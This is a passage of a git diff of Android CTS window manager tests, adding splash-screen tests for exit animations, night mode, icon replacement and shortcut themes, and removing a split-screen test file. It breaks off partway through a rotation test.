+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.systemBars;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.LauncherApps;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.content.res.Configuration;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import com.android.compatibility.common.util.TestUtils;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import java.util.Collections;
 
 /**
  * Build/Install/Run:
@@ -57,21 +94,24 @@
     @Test
     public void testSplashscreenContent() {
         launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.RED, Color.BLACK);
+    }
+
+    private void testSplashScreenColor(ComponentName name, int primaryColor, int secondaryColor) {
         // Activity may not be launched yet even if app transition is in idle state.
-        mWmState.waitForActivityState(SPLASHSCREEN_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForActivityState(name, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.getStableBounds();
         final Bitmap image = takeScreenshot();
-        int windowingMode = mWmState.getFocusedStackWindowingMode();
-        Rect appBounds = new Rect();
-        appBounds.set(windowingMode == WINDOWING_MODE_FULLSCREEN ?
-                mWmState.getStableBounds() :
-                mWmState.findFirstWindowWithType(
-                        WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getContentFrame());
-        // Use ratios to flexibly accomodate circular or not quite rectangular displays
+        final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
+        final Rect stableBounds = new Rect(windowMetrics.getBounds());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
+        final Rect appBounds = new Rect(mWmState.findFirstWindowWithType(
+                WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getBounds());
+        appBounds.intersect(stableBounds);
+        // Use ratios to flexibly accommodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
-        assertColors(image, appBounds,
-            Color.RED, 0.50f, Color.BLACK, 0.02f);
+        assertColors(image, appBounds, primaryColor, 0.50f, secondaryColor, 0.02f);
     }
 
     private void assertColors(Bitmap img, Rect bounds, int primaryColor,
@@ -111,4 +151,140 @@
                     + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
         }
     }
+
+    private void assumeNewApisEnabled() {
+        // Temporary verify by shell command before new APIs enable.
+        final String enableTest =
+                executeShellCommand("getprop persist.debug.shell_starting_surface").trim();
+        assumeTrue(Boolean.parseBoolean(enableTest));
+    }
+
+    @Test
+    public void testHandleExitAnimationOnCreate() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(true, false, false, true);
+    }
+    @Test
+    public void testHandleExitAnimationOnResume() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(false, true, false, true);
+    }
+    @Test
+    public void testHandleExitAnimationCancel() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(true, false, true, false);
+    }
+
+    private void launchRuntimeHandleExitAnimationActivity(boolean extraOnCreate,
+            boolean extraOnResume, boolean extraCancel, boolean expectResult) throws Exception {
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, extraOnCreate),
+                extraBool(REQUEST_HANDLE_EXIT_ON_RESUME, extraOnResume),
+                extraBool(CANCEL_HANDLE_EXIT, extraCancel));
+
+        mWmState.computeState(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY);
+        mWmState.assertVisibility(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(HANDLE_SPLASH_SCREEN_EXIT);
+        TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
+                () -> expectResult == journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
+        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
+    }
+
+    @Test
+    public void testSetApplicationNightMode() throws Exception {
+        assumeNewApisEnabled();
+        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+        assumeTrue(uiModeManager != null);
+        final int systemNightMode = uiModeManager.getNightMode();
+        final int testNightMode = (systemNightMode == MODE_NIGHT_AUTO
+                || systemNightMode == MODE_NIGHT_CUSTOM) ? MODE_NIGHT_YES
+                : systemNightMode == MODE_NIGHT_YES ? MODE_NIGHT_NO : MODE_NIGHT_YES;
+        final int testConfigNightMode = testNightMode == MODE_NIGHT_YES
+                ? Configuration.UI_MODE_NIGHT_YES
+                : Configuration.UI_MODE_NIGHT_NO;
+        final String nightModeNo = String.valueOf(testNightMode);
+
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY,
+                extraString(REQUEST_SET_NIGHT_MODE_ON_CREATE, nightModeNo));
+        mWmState.computeState(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY);
+        mWmState.assertVisibility(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(HANDLE_SPLASH_SCREEN_EXIT);
+        TestUtils.waitUntil("Waiting for night mode changed", 5 /* timeoutSecond */, () ->
+                testConfigNightMode == journal.extras.getInt(GET_NIGHT_MODE_ACTIVITY_CHANGED));
+        assertEquals(testConfigNightMode,
+                journal.extras.getInt(GET_NIGHT_MODE_ACTIVITY_CHANGED));
+    }
+
+    @Test
+    public void testSetBackgroundColorActivity() {
+        assumeNewApisEnabled();
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
+        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testHandleExitIconAnimatingActivity() throws Exception {
+        assumeNewApisEnabled();
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, true));
+        mWmState.computeState(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY);
+        mWmState.assertVisibility(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(REPLACE_ICON_EXIT);
+        TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
+                () -> journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+        assertTrue(journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
+        final long iconAnimationStart = journal.extras.getLong(ICON_ANIMATION_START);
+        final int iconAnimationDuration = journal.extras.getInt(ICON_ANIMATION_DURATION);
+        assertTrue(iconAnimationStart != 0);
+        assertEquals(iconAnimationDuration, 500);
+        assertFalse(journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
+    }
+
+    @Test
+    public void testCancelHandleExitIconAnimatingActivity() {
+        assumeNewApisEnabled();
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, true),
+                extraBool(CANCEL_HANDLE_EXIT, true));
+        mWmState.waitForActivityState(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(REPLACE_ICON_EXIT);
+        assertFalse(journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+    }
+
+    @Test
+    public void testShortcutChangeTheme() {
+        assumeNewApisEnabled();
+        final LauncherApps launcherApps = mContext.getSystemService(LauncherApps.class);
+        final ShortcutManager shortcutManager = mContext.getSystemService(ShortcutManager.class);
+        assumeTrue(launcherApps != null && shortcutManager != null);
+
+        final String shortCutId = "shortcut1";
+        final ShortcutInfo.Builder b = new ShortcutInfo.Builder(
+                mContext, shortCutId);
+        final Intent i = new Intent(Intent.ACTION_MAIN)
+                .setComponent(SPLASHSCREEN_ACTIVITY);
+        final ShortcutInfo shortcut = b.setShortLabel("label")
+                .setLongLabel("long label")
+                .setIntent(i)
+                .setStartingTheme(android.R.style.Theme_Black_NoTitleBar_Fullscreen)
+                .build();
+        try {
+            shortcutManager.addDynamicShortcuts(Collections.singletonList(shortcut));
+            runWithShellPermission(() -> launcherApps.startShortcut(shortcut, null, null));
+            testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLACK, Color.BLACK);
+        } finally {
+            shortcutManager.removeDynamicShortcuts(Collections.singletonList(shortCutId));
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
deleted file mode 100644
index 49a15f5..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ /dev/null
@@ -1,591 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
-import static android.server.wm.app.Components.DOCKED_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
-import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
-import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
-import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_180;
-import static android.view.Surface.ROTATION_270;
-import static android.view.Surface.ROTATION_90;
-
-import static org.hamcrest.Matchers.lessThan;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ComponentName;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.CommandSession.ActivityCallback;
-
-import androidx.test.filters.FlakyTest;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:SplitScreenTests
- */
-@Presubmit
-@android.server.wm.annotation.Group2
-public class SplitScreenTests extends ActivityManagerTestBase {
-
-    private static final int TASK_SIZE = 600;
-    private static final int STACK_SIZE = 300;
-
-    private boolean mIsHomeRecentsComponent;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
-
-        assumeTrue("Skipping test: no split multi-window support",
-                supportsSplitScreenMultiWindow());
-    }
-
-    @Test
-    public void testMinimumDeviceSize() throws Exception {
-        mWmState.assertDeviceDefaultDisplaySize(
-                "Devices supporting multi-window must be larger than the default minimum"
-                        + " task size");
-    }
-
-
-// TODO: Add test to make sure you can't register to split-windowing mode organization if test
-//  doesn't support it.
-
-
-    @Test
-    public void testStackList() throws Exception {
-        launchActivity(TEST_ACTIVITY);
-        mWmState.computeState(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain standard stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testDockActivity() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableNotDocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
-
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenPrimary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenSecondary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        // Launch home so secondary side as focus.
-        launchHomeActivity();
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testLaunchToSide() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        int displayWindowingMode = mWmState.getDisplay(
-                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
-        separateTestJournal();
-        SystemUtil.runWithShellPermissionIdentity(() -> mTaskOrganizer.dismissedSplitScreen());
-        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
-            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
-                    TEST_ACTIVITY);
-            assertEquals(1,
-                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        } else {
-            // Display is not a fullscreen display, so there won't be a multi-window callback.
-            // Instead just verify that windows are not in split-screen anymore.
-            waitForIdle();
-            mWmState.computeState();
-            mWmState.assertDoesNotContainStack("Must have exited split-screen",
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        }
-    }
-
-    @Test
-    public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Move to docked stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        // Move activity back to fullscreen stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-    }
-
-    @Test
-    public void testLaunchToSideAndBringToFront() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-
-        // Launch another activity to side to cover first one.
-        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        int taskNumberCovered = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Fullscreen stack must have one task added.",
-                taskNumberInitial + 1, taskNumberCovered);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                NO_RELAUNCH_ACTIVITY);
-
-        // Launch activity that was first launched to side. It should be brought to front.
-        getLaunchActivityBuilder()
-                .setTargetActivity(TEST_ACTIVITY)
-                .setToSide(true)
-                .setWaitForLaunched(true)
-                .execute();
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number in fullscreen stack must remain the same.",
-                taskNumberCovered, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testLaunchToSideMultiple() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideSingleInstance() throws Exception {
-        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideSingleTask() throws Exception {
-        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
-        launchTargetToSide(TEST_ACTIVITY, true);
-    }
-
-    private void launchTargetToSide(ComponentName targetActivityName,
-            boolean taskCountMustIncrement) throws Exception {
-        // Launch in fullscreen first
-        getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-
-        // Move to split-screen primary
-        final int taskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId, true /* showSideActivity */);
-
-        // Launch target to side
-        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
-                .setTargetActivity(targetActivityName)
-                .setToSide(true)
-                .setRandomData(true)
-                .setMultipleTask(false);
-        targetActivityLauncher.execute();
-
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        mWmState.assertContainsStack("Must contain secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different data.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberSecondLaunch = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                    taskNumberSecondLaunch);
-        } else {
-            assertEquals("Task number must not change.", taskNumberInitial,
-                    taskNumberSecondLaunch);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different random data. Note that null
-        // cannot be used here, since the first instance of TestActivity is launched with no data
-        // in order to launch into split screen.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
-                    taskNumberFinal);
-        } else {
-            assertEquals("Task number must not change.", taskNumberSecondLaunch,
-                    taskNumberFinal);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithFlag() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
-        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testRotationWhenDocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds.
-        final RotationSession rotationSession = createManagedRotationSession();
-        for (int i = 0; i < 4; i++) {
-            rotationSession.set(i);
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
-        // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
-        rotationSession.set(ROTATION_90);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_270);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
